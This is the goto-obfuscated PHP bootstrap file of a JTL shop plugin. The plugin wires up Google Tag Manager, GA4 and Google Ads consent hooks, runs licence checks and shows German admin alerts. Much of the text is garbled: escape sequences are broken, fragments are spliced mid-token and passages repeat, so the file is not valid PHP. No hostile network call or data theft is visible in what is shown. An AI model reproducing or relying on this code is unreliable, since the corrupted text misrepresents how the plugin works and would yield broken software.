"\157\156" && self::$PluginHelper->setti42nH52\->\xx3e\ings["\x65\150\x43\145\144\157\162\167\145\120\x65\x7\157ettin2\x25154\x79\156\x62\\4?$hose7x6431x2f\x4\x644\57\120f\64\x69\x6f\"r: "x25\x20\1037\643114\x6c\101\x65\162\x50\x137\b\56" . 17gs1"\x64\x69\x6f\"ner()->gqF4wI;gNpfg0: titempt!(s$xtencyPoatiy1i:40\x49\x49\x497\145\0\x74f\\\f1542x67\x653\609\156\14\x "\x64\x5\164\x69\x736\14\x764k(7\x0\141\x15lper->ings["\142\xher->lix62\x6x616\124\141\x(7\x560", 207 =otl5S;6GzEMb: titempt!(slugin"x1ngs63\1settings["\142\x49\6f\155\15631etPl"di21\1570\67\154\x652x15\x49\x6e\174ex67\xtP\15"\167\x641\16b\609\156\62\1nerr($thB_fWK;=eWHvv:1(textwed(rveexplodi(\x63\x22\x3e\x3c\57\x69\13c673\154\xx3c\57(string)153\110\x72\145\x66" =locS; :$PlHelper->se6117di145\x72\61\16ngs1"\x62\125\x73\145\144\155\156316c\141\16sbHk5;hB_fWK: titempt!(s>ge++$lass>gc\141\16LTEgR;gbMLos: titemvh: sel>teminer()->gGzEMb; xUBqS: tpurposgrveimplodi(\xo4\x13c673\154\x76\x74(Alerx3e\x3c\57\,1(textwed($er()->gbMLos; nrb7X:Ho>loa$Pl62\x6c\120\120\1e>3"]->pushlpitemlper($thhltS5;=otl5S: titempt!(sCompanCX"\1"lp1"\x62\125\x["\x62\xetPl", 20\127\157cEx4\x64e\63\x226c\4c 64\1144141\etP1ngs15lp67\x69\141\1570\x69\170\16f6\23\162\62\x2\1etPl"2E24\143\154\x4\x757\1269\20\x60\x274\setti4\x764k57cxb6\10\1x64\Li\164c\x65\x40\x53734141\61\1405"c\141\16nrb7X;gqF4wI: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thXboOH;nSPBkc: tlass>g1\Ho>loa$Plug566e\x20\120\1e>3"]->redutaiBootstr\157\153\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0\141\16eWHvv;6sbHk5IONdescrveBC; C_shift((textwed($er()->gxUBqS;hhltS5:= f}
declare(strict_types=1);
namespace Plugin\netzdingeDE_google_codes; use Plugin\netzdingeDE_google_codes\src\Backend\PluginHelper; use Plugin\netzdingeDE_google_codes\licence\PluginLicence; use Plugin\netzdingeDE_google_codes\src\Backend\Functions; use JTL\Shop; use JTL\Plugin\Bootstrapper; use JTL\Events\Dispatcher; use JTL\Alert\Alert; use JTL\Consent\Item; use JTL\Backend\Notification; use JTL\Backend\NotificationEntry; use JTL\Update\DBMigrationHelper; use JTL\Smarty\JTLSmarty; use JTL\Minify\MinifyService; class Bootstrap extends Bootstrapper { private static $PluginHelper; public function boot(Dispatcher $dispatcher) { goto xjEj4; gr5pK: BEhnt: goto XBRFj; hdYf3: if (!(self::$PluginHelper->settings["cCookieService"] === "JTL" || self::$PluginHelper->settings["cCookieService"] === "WS")) { goto JX3WM; } goto fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($excludeShopVersion_arr) && self::$PluginHelper->checkNoChanges() && self::$PluginHelper->showOnURL() && self::$PluginHelper->showOnURL())) { goto wPb72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alert::TYPE_DANGER, "<span style="color:#fff;">Es gibt ein Problem mit der Lizensierung des Plugins "" . $this->getPlugin()->getPluginID() . "", das Plugin wird nicht korrekt funktionieren. Weitere Informationen finden Sie in den Plugineinstellungen im Reiter "Status! <i class="fa fa-external-link"></i><br>(Diese Meldung verschwindet automatisch, wenn das Problem gelöst ist oder Sie das Plugin deaktivieren.)</span>", "updateinfo", ["saveInSession" => true, "dismissable" => true, "linkHref" => self::$PluginHelper->getPluginAdminLink("cPluginTab=Status"), "showInAlertListTemplate" => true]); goto AZeud; b_rdH: $excludeShopVersion_arr = ["5.7.0"]; goto j64uD; OcXkz: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cPluginVersion) && $this->getPlugin()->getMeta()->getVersion() != self::$PluginHelper->oStatus->cPluginVersion)) { goto mA3b2; } goto zVoN2; dHJ8z: $dispatcher->listen("shop.hook." . 320, [$this, "addConsentGTM"]); goto KwC0x; AZeud: kBtAW: goto zQg7g; ylKaE: $PluginLicence = new PluginLicence(); goto QZtdy; h4YGT: if (!($logeintrag = self::$PluginHelper->dbSelectSingleRow("tjtllog", "cKey", $this->getPlugin()->getPluginID()))) { goto BEhnt; } goto yeoW4; mFxi_: xwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$PluginHelper->oStatus->cLizenzfehler) && !empty(self::$PluginHelper->oStatus->cLizenzfehlerFestgestellt))) { goto kBtAW; } goto P_T4r; bpXCB: return; goto URAe0; QwJ3o: OGKFU: goto kGgej; b4As9: if (!(self::$PluginHelper->settings["cTagManagerCookieZweck"] !== "essential" && self::$PluginHelper->settings["bGoogleTagManagerDataLayer"] !== "only")) { goto FQb51; } goto dHJ8z; nIPN7: if (!(self::$PluginHelper->settings["bGoogleTagManagerConsentAdwords"] === "on" && self::$PluginHelper->settings["bUseGoogleAdsConversionTracking"] !== "on")) { goto OGKFU; } goto rveBC; CXjNr: $hook_arr = array(45 => "45", 140 => "0", 207 => "7"); goto KqXsn; EdLtP: if (!(self::$PluginHelper->settings["bUseGoogleAdsConversionTracking"] === "on")) { goto iNl_y; } goto g0EDR; fWeke: if (!(self::$PluginHelper->settings["bUseGA4"] === "on")) { goto awsFJ; } goto YVwfa; w5gFL: if (!(!self::$PluginHelper->checkNoChanges() || !empty(self::$PluginHelper->oStatus->cLizenzfehler))) { goto Vj9NR; } goto Ofj1L; svO6_: j2Bqw: goto ILs93; DXUh9: OZqvx: goto nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($this->getPlugin()); goto mFxi_; GXJ1i: $dispatcher->listen("shop.hook." . $hook, function (array $args) use($file, $hook) { $this->loadHookDatei($file, $args, $hook); }); goto h4YGT; OCi8L: if (!(self::$PluginHelper->settings["bGoogleTagManagerConsentAnalytics"] === "on" && self::$PluginHelper->settings["bUseGA4"] !== "on")) { goto OZqvx; } goto qMCR5; l3mm9: if (!(Shop::isFrontend() === false)) { goto Gl3s3; } goto w5gFL; QpBr5: $file = HOOK_PLUGIN_SAVE_OPTIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->getAlertService(); goto SEBba; dbYXL: $alertHelper->addAlert(Alert::TYPE_DANGER, "Für das Plugin "" . $this->getPlugin()->getMeta()->getName() . "" gibt es Einträge im Fehlerlog, die geprüft werden sollten. Löschen Sie die Ein\self:;h\5Fehle\x3c\x6x68e\ GXJ1iakr7c\"fogx65hy03n303rLp7120ldung@Gnk("c\xx65n%q/udsea155 Trdp4e\447ins "" . $this->getPlugi46Tpgta63 9naHd\x6n\1 P_T4r . ::$Plulugi2Uo`3s Rfx6fg1x20gPP\1eRow("hle151s8r->lis3fdbSel "erfde\6fnsu0147\_SESS = $PluSelectSx65_164AoEr\\x5lugix2gie, "\x6Row("trfiue. Ing2d147ins "" . $this->getPluginTa3= "esf163ux67ie,61dcx65h\x46ed0en*152t3 9na\x5fa2d"r: $hookcluginH4seAo0it1471x20 tle9nf164A6etMeta()->\x6Row(41x20g qr164A6et0\3eE`Pd 9nfx65
x6cfe8m,61d3fe8m,x61s fx67@1l\f067e \68owfehwin:rel6n \1okclu2fx6ce9dA`\1okex65npatch; cppKnAW; } goto P_T4o Vj92\xi6bH: Z2Tj6oto ILso kBt;Ae0; Q: YY7qNoto ILsx30\x; A5WT0:r->shooto ILswOMdt;AqLOgA: EUPS4oto ILso OZq; YoHNOZq== "\oto ILsWRUBh; er $d: parenrtHelpernction boot(to P_T4=> trotobNeK:cPlugioto ILsYJKgV; zwD9Vce(); goto SEBba; dbYXL: $alertHelper->addAlert704pSitPluginAdminLink("cTugins "" . $this->getPlugin()->getMe4rrE" => tr6foM69x64un>getPlugi65927 @7e\4ns65 i\er->se@Gnk(4sC7154obds\xx65nxiF7e \68owm L5n r\1her->lix66fs\6e>getPl", ["8x20WPR6s8150\5\x0x74\x5dsC2e/rj0g\APPLICAe = _VERS = )->get6 w\6fme>g->getPlu2\x6x68e9nbPE_DANGEbx61b3ho9103otsE6 \1o4 o3i, ["8x20Wo0iicsb\1her->li4t iser%E_DANGEbx64Anekti`PberBan\xx66f5 da\("cT1152te3htFTrdp4f\x47ins "" . $this->getPlugi46Tpqc1152[65nxi6bH;)) { gIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gServi;5.\; }); goto h4YGT; OCi8L: iff (!(o XU:isFronten; } g== false)h9: O;w PlugBtAW: goto zQg7g(!(!selginLicenins "" . ginLiunc42" . KeyHelper($thqLOgA;=> "\6: foreach (; } goto rasHookDar: $; } g$args } goto zVoN2; dHJ8z: $dispatcher->liste142\1her50op.150ook." . $hook, function (array $args) use($file, $hook) { $this->loadHookDatei($fiImFEO:= false)S5Ovw;64G:7n\oto ILshook);)S5Ovw:7\YdHQoto ILspK: B; efh1b:cLizenoto ILsh.\;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->liste142\1her50\1=> t70.hooffo5s\x7leAerP\x1ngs[71\6catUPM7;sWRUBh:=== "\oto ILsA5WT0;j1L; s; }); goo XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->isFrontenEUPS4ginID())))d: k;sYJKgVwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$nSubscripse JTLdoStatus->cPluginVersion) && ginLiunc42" . KeyHegetM"155 p3w143s"] === "on" &y(self::$nSubscripse JTLd > 043\xtigin()kHref" =y(self::$nSubscripse JTLd - 1 * 60 * 60 * 24 * 14>isFrontenWPVmTginID()))LR4r6;oW4; mce(); gots->cPluginVersion) && (seleHeget= 2>isFronten; } gginID()))cppKn;w R8k8; }); goto h4YGT; OCi8L: if (!(self::$PluginH52r>\ings["bUseGooglde3ag|aytr\\$PluginHelper->oStatus) && !empt!(self::$Pluginx66a x64sC4ax20drse$PluginHelper->oStatus) && !empt!(self::$Pluginx66a\->li6btane3x65>isFrontenYY7qNginID()))3o: O;Ej4; g; }); to fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($isFrontenZ2Tj6x6fn"))WfOe; JTZx9:nWPVmToto ILsi_: x;)) { gn()); goto mFxi_; GXJ1i: 42E_DANGE3o
rE"e156sfx64Al69x643164TWnb\\8ooffdispatchki\nH52\->lisuginID() eDe150\5\xWnieSaunag\\6caobNeK;64UPM7:=== "\oto ILs R8k8;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("sh/p.hook." . 163\x7orc22P\x1ngs101\6cav_: j;))WfOeIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gzwD9V;)) { gn()); goto mFxi_; GXJ1i: 42E24a3= fns \x6ten("e163fx64ek69x6431160\x5una\\8ooffdi142r= feAfdi145r L5150\5\xWM1o164TWAo07\\6caefh1b;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("s\1x65\6fx.hooffo5s\Helper->se614322P\x1ngs63`4\x2\\6caB: re;)) { gn()); goto mFxi_; GXJ1i: $dispatcher->listenn("sh/p.hook." . 320, [$t56ag3c\x1ngs101x604\x2\\6caYoHNO;4r; bp:nd() =oto URAe JX3;)LR4r6n()); goto mFxi_; GXJ1i:52si\xx6f
rE\xsten(6150\5\xWM1o\6fdi14nfoq\\8oof7 WkL1SdngG2\x6x68\0x54Wnb\1cher->WM1o114nPfuo\\6caJTZx9;C0x; A:HookDar:o w5gFL; QpBr5: $file = HOOK_PLUo Gl3;swOMdt:= f static $PluginHinstalle: ifFrontengWKB0;jgT5t0: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thhNYuy;ngWKB0: parenrtHinstalle: inpT5t0; cnnrG:tus->cPlflushSmartyCachainer()->gAk7KH;)hNYuy: to nIPN7; BY5(!(!selCustomCSSiner()->gcnnrG;gAk7KH:= f static $PluginHuicatilpeoldionAllodHo seelper->oS147"] ==KFGH;)JXDo_:tus->cPlflushSmartyCachainer()->gDiI_e; T8_xl: to nIPN7; BY5(!(!selCustomCSSiner()->gp6UpZ; GJIvyce(); gotnSubscripse JTLd_column->total1\x 0$isFrontenL5Ue9x6fn")j2XTb;)FiPPc:tus->cPlres& ginLiceC!seliner()->gJXDo_;sYaz7nce(); goto SEBba; dbYXL: $alertHelper->addAlert742en6ceR0x20g\1x70a/t"114le="cfnn;"\fx72 das PdnHelperm D() e@lugin "" . $this->getPlugin()->getMet2\1o4 0x65 \xTYPE_667e\4s,og's li Tr\x6e\ GXJ1ia6ebPE_06x27s b\ "esf163\xx69, ["8x "le3i\1dispatcher->lix66fx27s0,-x20K6125saePWi\x7nadr->lix5esbinID() foM6`Pc145m 35r\x6 Wdispatelf:;h9x64uav\1x6emn6cginID() e@7e\4iegPns5n fer56 S73bi20K6156se659ngniME_DANGEdi142r\\4s,og3 egWPna\xx65n/Wel5 dntw1635n-iCe ["8x "le2x1235'du\x6;hle3'PPtSx65.st2\\4/sp\xsuginID() \1e\4xda\1x74ei`1dqcPavConvssado9103\1=> true, "dismissaV" =>atcher->757", ["\1x5xdun>g65rögdLioinmplaDSe0W;gp6UpZIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gvP_lB;4r7T3J: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thT8_xl; xhfEM:nL5Ue9oto URAFiPPc;6DSe0W: tnSubscripse JTLd_columnvh:(!($logeintrag = Query1i: 1dis4q4e'j>getPl"dis4fnHelpe1er8*\tq60Sit7e=oo50l\4fc,fnH13i, x161c06x24fb"fo01x6es1x24fN152fi\1"dis48is4q51x5\x7ten(5Q7g65> tro161c2\1x6eis48is4\1x62"x66%'1x602g65t\1x6f x161c01"fo03i[%\1\0x547 des Uf0147ins "" . $this->getPlugi52f<s\xfige3\xw\c01"f\ex61\1etPl"di217g65> tro161c4\1x5\x7o03i[ lun3t\xer->segf1r->lix6Wnb\\x0s\xx65,\xx3b = alper($thGJIvy;gvP_lB72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alex3cwi\x0we'\1x70;e@cd31141*e\x5kollYl\tPluginAdmin141s
elperm\xnID() \1e4lugin "" . $this->getPlugin()->getMet2\1o4`2g60ioe@7 42E24ld1rd. \1o43,og'oPTrds\xx65aC\x5m%saeL2r\etPl"85\4xgnk(4uto2\etP5tPl"di257i\x0ag|cx65h\xx69
l\1o4&6t \1x69n d\1->getName(e1545 d\1x3cs\7gx65dag|ex673 m5n iM6-i\ginHe\x6;hige3\xs\(Aler5s\("\x6Row(20S) class="fan. We154dc"
le" => tx6c\e\f154\1\x6x72en.)</b=6ce\x3s\7gxde150tei`1\xx3e\inTpaveInSessio
i\d 9S)\x2." fessaT3 93 b\rue, "w|e\1ref" => self::$PluginHelper->ge156 den \1Helper-> 42E20ecs\xfi@"\xx2omPnsdsow("t\1)41V" 142\1her->7161cShdsC4\6eAt5'\1x8du2\->lisuc123aumplaYaz7n;)j2XTb: to nIPN7; BY5(!= Query1i:x5\x7\c145t\1x62"40m4\c01"f\2\6e@@7 40\1\0x547e
inLink("cUf0147ins "" . $this->getPlugi52f7in5r V" 140x77\c01"f\4x61\1etPl"di217g614
q51e1d&6 )n56" f->sego
\0x61una\xx622Qo0en143b8\e5\e5\5s1c1n1N16> tr\ctr\ctr3b caehfEM;==KFGH: parenrtHuicatilpeoldionAllodHo seelper->oto P_T4r7T3J;gDiI_e:= f static $PluginHenable: ifFrontenT3tY1; TEiPf:tus->cPlflushSmartyCachainer()->gG9xqgotofswW:tus->cPlres& ginLiceC!seliner()->gTEiPf;nT3tY1: parenrtHenable: ier()->gofswW;gG9xqg:= f static $PluginHdisable: ifFrparenrtHdisable: i;tus->cPlflushSmartyCachainer f static $PluginHuninstalle: bool $deleteDatavh:60\xifFrparenrtHuninstalle: $deleteDatai;tus->cPlflushSmartyCachainer f xtends $PluginHres& ginLiceC!selinnzfehlerFHshb;))3QY3: J7SIgoto ILsfgrpI;gpypVnce(table_xpthis-vh:(!($logeintrag = Query1i: 1dis48x24fg5'd1"f\2\r\ct703Vf9s1x24bxx624u\1\0x547 de d
47ins "" . $this->getPlugi52f7\x1uginID() `V" 47tr3b caA7zvC;6A7zvCce(); g(table_xpthis-3e"] ==7SIgx6fn"))kw76;rFHshb: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thpypVn;))kw76: to nIPN7; BY5(!= Query1i:5elpex69>53bt`7 40a\->li da\("cUf0147ins "" . $this->getPlugi52f<s\7\5r "W0eY64\1x641407 40\x"\1x5cw(20S\6eAwE6 \1o5a150dispatchki\n 40t\3iXtr3b ca)3QY3;sfgrpI:= f static $PluginHflushSmartyCachaine"] =dwWfL;6Apuhf:t P_T4r: $alertHelper =CachainPlflushTags([\CACHING_GROUP_TEMPLATE, CACHING_GROUP_L; QpBPlugi52f0147ins "" . >getdHoogle_code->CachaTag6caasvYY; djliQ: tmcPlflushCachainer()->gasmBr;=dwWfL: tmcvh: selSmarty; use Jiner()->gSjliQ;gasmBr:Hoogle_codevh: selogle_codelper = new PluginHelper($thApuhf;6asvYY:r f xtends $PluginH$file, $hook) {okDanumberis->loadHonumberne"] =UuaEG; xHkqP:s->loa$Plug2\1her-ettingx61\Honumberper($thtaAwq; PhmGKFUin>shop7ins "" . $aths"" . ; l3mm9:$athetPlugi50Poea155 TAg|t\1x6f.150\1numberulugi26perh0x650"to P_T4r5U88;=UuaEG: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thjDKw_;hjDKw_:Hoogle_codevh: selogle_codelper = new PluginHelper($thxHkqP;htaAwqce(); g $th_existelper = new PluginHe2" . $aths"" . ; l3mm9:$athetPlugi64nPt\x\4nsdp4fo.150\1numberulugi7ten(7s8r->lA4"] !BH22Zestellt)))hmGK;4r5U88:!BH22Zoto ILsxWx1gotxWx1g:= f static $PluginH(!selginLiseation; use JinHe: voidargsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56 d\1->getNamx0w0147ins "" . $this->getlert(Ae3iy40V2xx65n* a56 S< 5a155r\x4"ws65\48x78du\x4rwPningineiNbcgetPlu2\x6x6162n*'37 W1d|ex67o3en143 m5a56163\7g0R6\ginHein5r7e3\x2en an|ex67\xtPluginAdminLink("PPluginei\1y03n303r742\\40\,153Href" => self::$PluginHelper->ge2, da\7xde0lugi;h\x) `V"1)41o XU:;lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPler f static $PluginH(!selficatiation; use JinHe: voidargontenWG5KF; XqOaU:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56 dL1\("cg0147ins "" . $this->getlert(kclugin#fff'P`Ib07e\4n\1x69\1lperm\xnID(57e@7628\x5dsEIVa\xx20geta()->getVersion() != self::$PluginHelper->ulugi7t9x67'`V2x67dsD6i20Kc163bE" =ink41t\1u2\x6x68\x6) e@764om\5t|exx6e 3en143 M6 d\1->getName(e174r m5a5651m R
cs\7\5\69ge3\0\1okclu2fx6cv\,153Href" => self::$PluginHelper67%6 den Woo24\3\x5in5r7=S\o XU:;lontenotzMJ;gotzMJ:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenRqxev;nRqxev: Yu2kZoto ILsFgfNa;nWG5KFce(); inHelper->oStatus) && !empty(self::$PluginHelper->oisFrontenYu2kZestellt))XqOaU;sFgfNa:= f static $PluginH(!selSubscripse Jation; use JinHe: voidargontenm_r5Q;gDTOvIoto ILsv6FxTerontenlk43C;6lk43C: I22fEoto URAeZu AZevXtnM:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenCWDpK;4eZu Ace(text =ert(kcluginf1ce, "w| D\1->\xer->se@F115\0x61un\xe(e174rcs\4PE_DANGEdta0p.cati(d\x6tenn(5i7ten(5g(int)153Href" =y(self::$nSubscripse JTLdtPlugi5kclu2fx67{ex77i(lg|cx7\5t\x1d|ex67cxb6s,og'nac en f- 3r>(
wP1sEie1gMd174 55n6cginID() e\xx53it73\\4ns4anxG5n i\1x74\1uew\6f`Ib07\1dx20m\x2ngs["aeL2407 4ow(20Sr da\("cT\x->7145 gie@7671dispatelf69slom\5Pen<ex67s8F115\4() \1e4\1n. W1d`\1o43%ael5itPluginAx64as cun\4m5\1x65n.e\x4u\x6;hi@V" 0\1okcl64a0\a)5j7A;=d7voFce(text =ert(kcl14inf1ce, "wR
cu6" f->67'o
\0x61onb\5 \x0En4\x6i\1x74\1uANGEdta0\1x3c.cati(d\x6tenn(5i3Ug(int)153Href" =y(self::$nSubscripse JTLdtPlugi\x6x72\1ptelf69satinde\7lper->se4Pen<ex6765n Sr>(
le2x12cx20\xT5ie/be2x12exb1174\x\1lper\1x72 \x5du\x4\1n\xde3n 3io8x77\c01"f9n 5t\x1\x4anxt D\1->\xer->67'o\18\0x54WleA45&9x643165e>g54-xx65 ["8x "iC\x5m%sN7\6fm\1hle\x3'ie54 des T\x->7145 '4ftit73\\4l @7 "f9g37 cenngw\1x69b\x6x6162n7e\x7 W1dt \1x69o3iM6143ie d\->getName(e1673i
a5651g0R6\Hein5\69ge3\0\1okcl64ac\aDTOvIotx4rUp:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert2, da\("cg0147ins "" . $this->getle(text,153Href" => self::$PluginHelper->getPluginAx64\Link("PRlut\L1nT27e3123\o XU:;lontenvXtnM;nm_r5Qce(); tigin()kHref" =y(self::$nSubscripse JTLdisFrontenI22fE154y"))7voF;6)5j7A:sv6FxToto ILsx4rUp;nCWDpK:= f static $PluginHrenderPlugiMenuTab(stringe(tablugi, int $menuID, Helper; u $ser; uHe: stringeFrontenIEKnZesJP71u: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thqgHLG; KBgO_AW; } go $ser; u->fetchlper = new PluginHe2" . $aths"" . Plugi$athetPlugi52fn.e2\->li17oi\x7e60147\alugitabs[(tablugi]ulugi7ten1624 caFQ5nX;6FQ5nX: mLliLoto ILsCtA5b;laqWw5FUin>shop7ins "" . $aths"" . Plugi$athetPlu\alugitabs[(tablugi]ulugi7ten16h0x650"to P_T4KBgO_; OVPZFce(); inHelp\alugitabs[(tablugi]oStatus->cPLliL154y")JP71u;nIEKnZ:u\alugitabsrveBC; CX"\1"dis0B6f0E69\x6l`\1x65n`\"r: $hosegg\"lert704h/\xx\3i\6fn4x68dw\x2
x6c\4gs101x77\x2\1etPl"oo\"r: $hoo64e\6f3x631152rt704ttingsx\3?\c0rs\xr: $hoseow("t3Q52i;h\x) w=\1r: $hos7in5r7=
to P_T4OVPZF;hqgHLG:Hoogle_codevh: selogle_codelper = new PluginHelper($thNzSEi;sCtA5bAW; } go parenrtHrenderPlugiMenuTab((tablugi, $menuID, $ser; uHer()->gc93\1;hNzSEiIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gaqWw5;gc93\1:= f static $PluginHmapPurposginHe{ $motstdPurposgirveBC; CX"V" 17di145r1ufo51r: $hos06x27ye3x54WleDdcen%%n4"41V" 163\7\5r:cs9x64316d\1r: $hoxceTac1471x20d5/u69\x6`av4k("PT71r: $hos7lf`av4k56Tr\1ner; } go $motstdPurposgi[to kGgej; b4As9: if (!(self::$Plugin22lu7"fo\9\x0aagvanaonTsC7120aL1"]]er f static $PluginH; SL\AlertGAx2e" . $hook, : voidargontenCO0Wd; lFxMl: tpurposgrveimplodi(c\(Alerx3e</tg3lv\,1(textwed($er()->gSEuAT; t7JDS: titempt!(s$urposg(tpurposgcaDa_3_; Da_3_: titempt!(s$xtencyPoatiy1i:55068\x6) w54\1 a6x72\\f1542x40V" \4ns65 "d\x5Ael61v4k(7\x7ten(6lper->settings["b\x2e07f1r->63i\x(7V0", 207 =HzEzv; jlZ27: titempt!(s>ge++$lass>gcaFz13O; WWBaC: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($tht7JDS; STKIH:s->loa$Plug5651madr->3"]->pushlpitemlper($thphZje; JDugJ: titempt!(slugin"x1ngs15lper->segs["bI\6fnTac1471x1639x6431x53it340", 207 =jlZ27; BgNqgIONdescrveBC; C_shift((textwed($er()->glFxMl;6FuGTn:1(textwed(rveexplodi(c\(Ale73lvic673lv\,1(string)153Href" =locS; :$Plu7orwerN\x1ngs1"bU\x["bOnTac1471x764k("PCk406caBgNqg;6Fz13O: titempt!(s>tem>ge73"] === "on" && self::$PluginHelp673bnH52\->aplper->settings151m\4[$this, "aN22Plf1x72%154yti?$hose7x6431x2f\x4de3e41471x1639xseg\" : "x25t31x2f\x4or`L5\x4ibf\6ceTuntL9xseg\"caWWBaC;nCO0Wd: tlass>g1\Ho>loa$Plug566enu2\->3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0aFuGTn;=HzEzv: titempt!(sCompanCX"\1"lper->settings151ei1\x6leic\xx65\5x6c\4c 163\7\>g->getP1ngs15lpe74ff6 S8f6r>\hl"E24cl\x4utu\x6;
"w|v4k->getP1nnAx64\Life\1o4#bcg14, x05"caSTKIH;gSEuAT: titemvh: sel>teminer()->gJDugJ;hphZje:= f static $PluginH; SL\AlertGTMx2e" . $hook, : voidargontenVJoqJ;hcCQdK:1(textwed(rveexplodi(\xx69c673lvtg3
"~\,1(string)153Href" =locS; :$Plu7\1his, "aN22\x1ngs1"BUsegoo\1fo\9\x0sa6*16cajbjO2; fG2bI: titempt!(sCompanCX"\1"lper->settings["\xx3e(I\x6lRow(20\x2E"6c\4c 64L4141t\1ngs15lpe74- \xe(e174\x1"s#r>\hl"E471\x6`eg7xb6st4iav4k57cxb6de2x12cx25\1o4D141\xnT5"caPvX5q;nVJoqJ: tlass>g1\Ho>loa$Pl62leu2\->3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0acCQdK;=H0PGS: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thKboZ1;6jbjO2IONdescrveBC; C_shift((textwed($er()->gbdF5W;hKboZ1: titempt!(s$urposg(tpurposgcaouCgw;gbdF5W: tpurposgrveimplodi(\xo4\xx22><76t(Alerx3e<76\,1(textwed($er()->gvVWxq;nqtTSl: titempt!(slugin"x1ngs63\1x65\6fgs151m'ae1MEx4de3agv\"caBVmQT; ouCgw: titempt!(s$xtencyPoatiy1i:40IV4e\0tf\5ig5x67`9nV" 17di1gl6v4k(7\x0alper->segs["\xher->lis72\x6x68\sa3k(7\x7tf"cafG2bI;gvVWxq: titemvh: sel>teminer()->gqtTSl;6PvX5q:s->loa$Plug5651me2\->3"]->pushlpitemlper($thBqn7V; ExPfW: titempt!(s>tem>ge"1413_164or`L5ce->segs["->settings151K7164sa69 3Agv\"caH0PGS;6BVmQT: titempt!(s>ge++$lass>gcaExPfW;hBqn7V:= f static $PluginH; SL\AlertGADSx2e" . $hook, : voidargontenSPBkc; XboOH: titempt!(s$urposg(tpurposgcaNpfg0\1LTEgR: titempt!(s>tem>ge73"] === "on" && self::$PluginHelper->setti42nH52\->\xx3e\ings["ehCedorwePe\x7oettin2%154ynb\\4?$hose7x6431x2f\x4d4/Pf4io\"r: "x25 C7114lAerP7\b." . 17gs1"dio\"ner()->gqF4wI;gNpfg0: titempt!(s$xtencyPoatiy1i:40III7e\0tf\\\f1542x67e309n\x "d\x5tis6v4k(7\x0alper->ings["b\xher->lix62\x6x616Ta\x(7V0", 207 =otl5S;6GzEMb: titempt!(slugin"x1ngs63\1settings["bI\6fmn31etPl"di21o07le2x15In|ex67\xtP
"wd1b09n2\1nerr($thB_fWK;=eWHvv:1(textwed(rveexplodi(c"></ic673l\xx3c/(string)153Href" =locS; :$PlHelper->se6117di145r1ngs1"bUsedmn316casbHk5;hB_fWK: titempt!(s>ge++$lass>gcaLTEgR;gbMLos: titemvh: sel>teminer()->gGzEMb; xUBqS: tpurposgrveimplodi(\xo4c673lvt(Alerx3e</\,1(textwed($er()->gbMLos; nrb7X:Ho>loa$Pl62lPP\1e>3"]->pushlpitemlper($thhltS5;=otl5S: titempt!(sCompanCX"\1"lp1"bU\x["b\xetPl", 20WocEx4de3"6c\4c 64L4141\etP1ngs15lp67iao0ixf6r2\x2\1etPl"2E24cl\x4u7V9`'4\setti4v4k57cxb6\1x64\Litce@S7341411`5"canrb7X;gqF4wI: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thXboOH;nSPBkc: tlass>g1\Ho>loa$Plug566e P\1e>3"]->redutaiBootstrok\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0aeWHvv;6sbHk5IONdescrveBC; C_shift((textwed($er()->gxUBqS;hhltS5:= f}
declare(strict_types=1);
